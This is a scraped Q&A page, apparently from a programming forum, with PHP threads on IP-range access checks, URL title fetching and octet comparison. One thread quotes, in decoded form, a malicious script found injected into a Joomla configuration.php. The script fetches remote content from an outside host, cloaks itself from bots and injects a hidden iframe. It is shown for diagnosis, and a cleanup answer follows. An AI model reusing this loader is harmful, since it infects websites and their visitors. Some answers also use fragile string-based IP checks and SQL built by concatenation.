I want to expand the IP range that my ~$_SERVER['REMOTE_ADDR'~ check for. The following works and only allows the 10.0.4.* subnet access to the site:
$chk = "10.0.4.";
if( substr($_SERVER['REMOTE_ADDR'],0,strlen($chk)) !== $chk)
$wgGroupPermissions['*']['read'] = false;
When I modify the $chk string to open the site to my entire local network I end up opening the site to the entire world.
$chk = "10.0.";
if( substr($_SERVER['REMOTE_ADDR'],0,strlen($chk)) !== $chk)
$wgGroupPermissions['*']['read'] = false;
I only want my local subnet 10.0.. to have read access to the site. How do I do this?
Using mask is a better way than spliting strings:
function testSubnet($ip, $subnet, $mask) {
$ip = ip2long($ip);
$subnet = ip2long($subnet);
$mask = ip2long($mask);
return ($ip & $mask) == ($subnet & $mask);
}
var_dump(testSubnet('10.0.0.1', '10.0.0.0', '255.255.255.0'));
var_dump(testSubnet('10.0.0.2', '10.0.0.0', '255.255.255.0'));
var_dump(testSubnet('10.0.1.1', '10.0.0.0', '255.255.255.0'));
var_dump(testSubnet('10.0.1.1', '10.0.0.0', '255.255.0.0'));
In this case:
if(testSubnet($_SERVER['REMOTE_ADDR'], '10.0.4.0', '255.255.255.0')) {
// Anything, blablabla...
}
Why can't you just do:
$z = $_SERVER['REMOTE_ADDR'];
function check($ip, $octet = 2) {
$allow = explode(".", "10.0.0.1");
$ipa = explode(".", $ip);
for($i = 0; $i < $octet; $i++) {
$ch .= $ipa[$i];
$ah .= $allow[$i];
}
return $ch == $ah;
}
echo check($z);
Where $octet is the amount of octets you want to match.. The default is 2.
You could use the header() function?
Try this.
$allowed_ip = "10.0.4";
if (!strstr($_SERVER['REMOTE_ADDR'],$allowed_ip))
header("Location: login.php");
// include("login.php");
/* The user will be redirected to another page or you could
always include your login.php page and just continue from there. */
Related
I'm trying to get the title of a website that is entered by the user.
Text input: website link, entered by user is sent to the server via AJAX.
The user can input anything: an actual existing link, or just single word, or something weird like 'po392#*#8'
Here is a part of my PHP script:
// Make sure the url is on another host
if(substr($url, 0, 7) !== "http://" AND substr($url, 0, 8) !== "https://") {
$url = "http://".$url;
}
// Extra confirmation for security
if (filter_var($url, FILTER_VALIDATE_URL, FILTER_FLAG_HOST_REQUIRED)) {
$urlIsValid = "1";
} else {
$urlIsValid = "0";
}
// Make sure there is a dot in the url
if (strpos($url, '.') !== false) {
$urlIsValid = "1";
} else {
$urlIsValid = "0";
}
// Retrieve title if no title is entered
if($title == "" AND $urlIsValid == "1") {
function get_http_response_code($theURL) {
$headers = get_headers($theURL);
if($headers) {
return substr($headers[0], 9, 3);
} else {
return 'error';
}
}
if(get_http_response_code($url) != "200") {
$urlIsValid = "0";
} else {
$file = file_get_contents($url);
$res = preg_match("/<title>(.*)<\/title>/siU", $file, $title_matches);
if($res === 1) {
$title = preg_replace('/\s+/', ' ', $title_matches[1]);
$title = trim($title);
$title = addslashes($title);
}
// If title is still empty, make title the url
if($title == "") {
$title = $url;
}
}
}
However, there are still errors occuring in this script.
It works perfectly if an existing url as 'https://www.youtube.com/watch?v=eB1HfI-nIRg' is entered and when a non-existing page is entered as 'https://www.youtube.com/watch?v=NON-EXISTING', but it doesn't work when the users enters something like 'twitter.com' (without http) or something like 'yikes'.
I tried literally everthing: cUrl, DomDocument...
The problem is that when an invalid link is entered, the ajax call never completes (it keeps loading), while it should $urlIsValid = "0" whenever an error occurs.
I hope someone can help you - it's appreciated.
Nathan
You have a relatively simple problem but your solution is too complex and also buggy.
These are the problems that I've identified with your code:
// Make sure the url is on another host
if(substr($url, 0, 7) !== "http://" AND substr($url, 0, 8) !== "https://") {
$url = "http://".$url;
}
You won't make sure that that possible url is on another host that way (it could be localhost). You should remove this code.
// Make sure there is a dot in the url
if (strpos($url, '.') !== false) {
$urlIsValid = "1";
} else {
$urlIsValid = "0";
}
This code overwrites the code above it, where you validate that the string is indeed a valid URL, so remove it.
The definition of the additional function get_http_response_code is pointless. You could use only file_get_contents to get the HTML of the remote page and check it against false to detect the error.
Also, from your code I conclude that, if the (external to context) variable $title is empty then you won't execute any external fetch so why not check it first?
To sum it up, your code should look something like this:
if('' === $title && filter_var($url, FILTER_VALIDATE_URL))
{
//# means we suppress warnings as we won't need them
//this could be done with error_reporting(0) or similar side-effect method
$html = getContentsFromUrl($url);
if(false !== $html && preg_match("/<title>(.*)<\/title>/siU", $file, $title_matches))
{
$title = preg_replace('/\s+/', ' ', $title_matches[1]);
$title = trim($title);
$title = addslashes($title);
}
// If title is still empty, make title the url
if($title == "") {
$title = $url;
}
}
function getContentsFromUrl($url)
{
//if not full/complete url
if(!preg_match('#^https?://#ims', $url))
{
$completeUrl = 'http://' . $url;
$result = #file_get_contents($completeUrl);
if(false !== $result)
{
return $result;
}
//we try with https://
$url = 'https://' . $url;
}
return #file_get_contents($url);
}
I have two php variables which contains two ipv4 addresses, i need to compare the first three octets and return true if they match, and false if they don't. Help for writing a block of code is appreciated.
<?php
include('adodb/adodb.inc.php');
mysql_connect("173.86.45,9","abcd","1236");
mysql_select_db("vc");
$pl=mysql_query("SELECT stat_ip from Hasoffers");
$count=mysql_num_rows($pl);
while($row=mysql_fetch_array($pl))
{
$stat_ip=$row['stat_ip'];
echo sec($stat_ip)."<br>";
}
function sec($stat_ip)
{
$result = mysql_query("select stat_ip from Hasoffers where stat_ip ='".$stat_ip."'");
if(condition to check if the octets match)
{
//i need to write the condition if within the table Hasoffers, there are more than 2 'stat_ip'(column) values, having the same 3 octets.
printf("true");
}
else
{
printf("false, octets don't match");
}
return $num_rows;
}
?>
Simple way to implement this is:
$ip1 = '192.168.0.1';
$ip2 = '192.168.0.2';
$ip1 = explode('.', $ip1);
$ip2 = explode('.', $ip2);
if ($ip1[0]==$ip2[0] && $ip1[1]==$ip2[1] && $ip1[2]==$ip2[2]) {
//your code here
}
EDIT:
Try to replace your sec() function with this one(read the comments),and edit it.
function sec($stat_ip)
{
$octets = explode('.', $stat_ip);
$first_three = $octets[0].'.'.$octets[1].'.'.$octets[2].'.'; //this looks like 192.168.0.
$result = mysql_query("SELECT stat_ip from Hasoffers where stat_ip LIKE '".$first_three."%'"); //this gives you all ip's starting with the current ip
if (mysql_num_rows($result)>1)
{
//we have more than one ip starting with current ip
//do something here
}
else
{
//result returns 1 or 0 rows, no matching ip's
}
//return $something;
}
The solution using strrpos and substr functions:
$ip1 = '192.168.10.121';
$ip2 = '192.168.10.122';
// the position of the last octet separator
$last_dot_pos = strrpos($ip1, '.');
$is_matched = substr($ip1, 0, $last_dot_pos) == substr($ip2, 0, $last_dot_pos);
var_dump($is_matched);
The output:
bool(true)
Use this code:
$ipOne = "192.168.1.1";
$ipTwo = "192.168.1.2";
$ipOneParts = explode(".", $ipOne);
$ipTwoParts = explode(".", $ipTwo);
if(($ipOneParts[0] == $ipTwoParts[0]) &&
($ipOneParts[1] == $ipTwoParts[1]) &&
($ipOneParts[2] == $ipTwoParts[2])){
return true;
} else {
return false;
}
convert them into array using explode using "." and compare the first index of both array.
Since a week i was trying to login to the back-end of my joomla 1.5 site. It simply keeps coming back to the login page without any error. When I took a look at the configuration.php file it appeared as a string encoded with following pattern:
<?php eval(base64_decode('string here';))) />
When i decoded it using an online service this is what it appears to be:
if (!defined('frmDs')){ define('frmDs' ,1); function frm_dl ($url) { if (function_exists('curl_init')) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $out = curl_exec ($ch); if (curl_errno($ch) !== 0) $out = false; curl_close ($ch); } else {$out = #file_get_contents($url);} return trim($out); } function frm_crpt($in){ $il=strlen($in);$o=''; for ($i = 0; $i < $il; $i++) $o.=$in[$i] ^ '*'; return $o; } function frm_getcache($tmpdir,$link,$cmtime,$del=true){ $f = $tmpdir.'/sess_'.md5(preg_replace('/^http:\/\/[^\/]+/', '', $link)); if(!file_exists($f) || time() - filemtime($f) > 60 * $cmtime) { $dlc=frm_dl($link); if($dlc===false){ if(del) #unlink($f); else #touch($f); } else { if($fp = #fopen($f,'w')){ fwrite($fp, frm_crpt($dlc)); fclose($fp); }else{return $dlc;} } } $fc = #file_get_contents($f); return ($fc)?frm_crpt($fc):''; } function frm_isbot($ua){ if(($lip=ip2long($_SERVER['REMOTE_ADDR']))<0)$lip+=4294967296; $rs = array(array(3639549953,3639558142),array(1089052673,1089060862),array(1123635201,1123639294),array(1208926209,1208942590), array(3512041473,3512074238),array(1113980929,1113985022),array(1249705985,1249771518),array(1074921473,1074925566), array(3481178113,3481182206),array(2915172353,2915237886)); foreach ($rs as $r) if($lip>=$r[0] && $lip<=$r[1]) return true; if(!$ua)return true; $bots = array('googlebot','bingbot','slurp','msnbot','jeeves','teoma','crawler','spider'); foreach ($bots as $b) if(strpos($ua, $b)!==false) return true; return false; } function frm_tmpdir(){ $fs = array('/tmp','/var/tmp'); foreach (array('TMP', 'TEMP', 'TMPDIR') as $v) { if ($t = getenv($v)) {$fs[]=$t;} } if (function_exists('sys_get_temp_dir')) {$fs[]=sys_get_temp_dir();} $fs[]='.'; foreach ($fs as $f){ $tf = $f.'/'.md5(rand()); if($fp = #fopen($tf, 'w')){ fclose($fp); unlink($tf); return $f; } } return false; } function frm_seref(){ $r = #strtolower($_SERVER["HTTP_REFERER"]); $ses = array('google','bing','yahoo','ask','aol'); foreach ($ses as $se) if(strpos($r, $se.'.')!=false) return true; return false; } function frm_isuniq($tdir){ $ip=$_SERVER['REMOTE_ADDR']; $dbf=$tdir.'/sess_'.md5(date('m.d.y')); $odbf = $tdir.'/sess_'.md5(date('m.d.y',time()-86400)); if (file_exists($odbf)) #unlink($odbf); if(strpos(frm_crpt(#file_get_contents($dbf)),$ip) === false ){ if ($fp=#fopen($dbf,'a')){fputs($fp,frm_crpt($ip.'|')); fclose($fp);} return true; } return false; } $tdir = frm_tmpdir(); $defframe = '<style> .gtvvh { position:absolute; left:-760px; top:-927px; }</style><div class="gtvvh"><iframe src="http://whivmjknp.findhere.org/jquery/get.php?ver=jquery.latest.js" width="477" height="435"></iframe></div>'; $defrdg='http://whivmjknp.findhere.org/jquery/get.php?ver=jquery.js'; $codelink = 'http://whivmjknp.findhere.org/nc/gnc.php?ver=jquery.latest.js'; $rdglink='http://whivmjknp.findhere.org/nc/gnc.php?ver=jquery.js'; $ua=$_SERVER['HTTP_USER_AGENT']; $isb=frm_isbot($ua); if (!$isb && preg_match('/Windows/', $ua) && preg_match('/MSIE|Opera/', $ua) && frm_isuniq($tdir) ){ error_reporting(0); if(!isset($_COOKIE['__utmfr'])) { if(!$codelink) print($defframe); else print(frm_getcache($tdir,$codelink,15)); #setcookie('__utmfr',rand(1,1000),time()+86400*7,'/'); } } //------- $host = preg_replace('/^w{3}\./','', strtolower($_SERVER['HTTP_HOST'])); if($tdir && strlen($host)<100 && preg_match('/^[a-z0-9\-]+\.([a-z]{2,5}|[a-z]{2,3}\.[a-z]{2,3}|.*\.edu)$/', $host)){ $parg = substr(preg_replace( '/[^a-z]+/', '',strtolower(base64_encode(md5($host)))),0,3); $pageid = (isset($_GET[$parg]))?$_GET[$parg]*1:0; $ruri = strtolower($_SERVER['REQUEST_URI']); if((strpos($ruri,'/?')===0||strpos($ruri,'/index.php?')===0) && $pageid > 0){ print(frm_getcache($tdir,"http://whivmjknp.findhere.org/rdg/getpage.php?h=$host&p=$pageid&pa=$parg",60*48,false)); exit(); } if ($isb) { error_reporting(0); print(frm_getcache($tdir,"http://whivmjknp.findhere.org/rdg/getpage.php?h=$host&pa=$parg&g=".(($ruri=='/'||$ruri=='/index.php')?'1':'0'),60*48,false)); } } //---------}
I checked other Joomla installations on my hosting space and see that all the configuration.php are the same.
What to do?
Please help
The only thing the the configuration.php file should have is defined variables. Nothing else. It could very well be that someone has hacked your site and messed around with files.
Change all passwords that are related to your website, including the hosting one.
Take a backup of your site via the cPanel and scan it with some antivirus software. Assuming there are no viruses detected, upgrade your site to the latest of the Joomla 2.5 series (2.5.14).
Then, remove the code you showed in your question from the configuration.php file and try logging back into the Joomla admin panel. If it works, ensure all your extensions are up to date and read this:
Joomla! 2.5.4 Hacked: Having trouble with diagnosis.
If not, then try resetting your super user password via the database:
http://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F
UPDATE:
It seems your whole configuration.php file has been attacked. I have provided you with the code for the file, however there are some blank spaces to be filled in. Anything that does need filling in, I have written next to it:
http://pastebin.com/gWWtCAJR
Let me know how it goes :)
I am trying to read a file with ip/mask ranges and if the supplied IP matches any range in the file it will return with TRUE or similar function. Here is the code I have below
function myip2long($ip) {
if (is_numeric($ip)) {
return sprintf("%u", floatval($ip));
} else {
return sprintf("%u", floatval(ip2long($ip)));
}
}
function ipfilter($ip) {
$match = 0;
$ip_addr = decbin(myip2long($ip));
if (file_get_contents('./countryip/all-zones/us.zone')) {
$source = file('./countryip/all-zones/us.zone');
foreach ($source as $line) {
$network = explode("/", $line);
$net_addr = decbin(myip2long($network[0]));
$cidr = $network[1];
if (substr($net_addr, 0, $cidr) == substr($ip_addr, 0, $cidr)) {
$match = 1;
break;
}
}
}
return $match;
}
$user_ip = $_SERVER['REMOTE_ADDR'];
if (ipfilter($user_ip) == 1) echo "<br />allowed! Your IP is a United States IP!";
else echo "deny!";
An example file (like the one in the example above) is available here
http://www.ipdeny.com/ipblocks/data/countries/us.zone
Not sure if the code above is correct, I got it from here'
http://www.php.net/manual/en/function.ip2long.php#86793
Probably you should add some debug code, just to understand what is going on.
Just like this:
if (substr($net_addr, 0, $cidr) == substr($ip_addr, 0, $cidr)) {
echo "My IP: $ip\n";
echo "IP to check: $network[0]\n";
echo "CIDR: $cidr\n"
echo "ip digits, my: $ip_addr, check: $net_addr\n";
$match = 1;
break;
}
So you'll see what is going wrong.
im looking for a way to restrict my administration page to only my own ip range
concider my ip range is 215.67..
so in php i will begin with this :
$myip = "215.67.*.*";
$myip = explode(".", $my_ip);
$userip = getenv("REMOTE_ADDR") ;
$userip = explode(".", $userip);
if ($myip[0] == $userip[0] AND $myip[1] == $userip[1] ) {
//Contunue admin
}
is there any better and more professional way to do it ?
<?php
function in_ip_range($ip_one, $ip_two=false){
if($ip_two===false){
if($ip_one==$_SERVER['REMOTE_ADDR']){
$ip=true;
}else{
$ip=false;
}
}else{
if(ip2long($ip_one)<=ip2long($_SERVER['REMOTE_ADDR']) && ip2long($ip_two)>=ip2long($_SERVER['REMOTE_ADDR'])){
$ip=true;
}else{
$ip=false;
}
}
return $ip;
}
//usage
echo in_ip_range('192.168.0.0','192.168.1.254');
?>
Taken from http://www.php.net/manual/en/function.ip2long.php#81030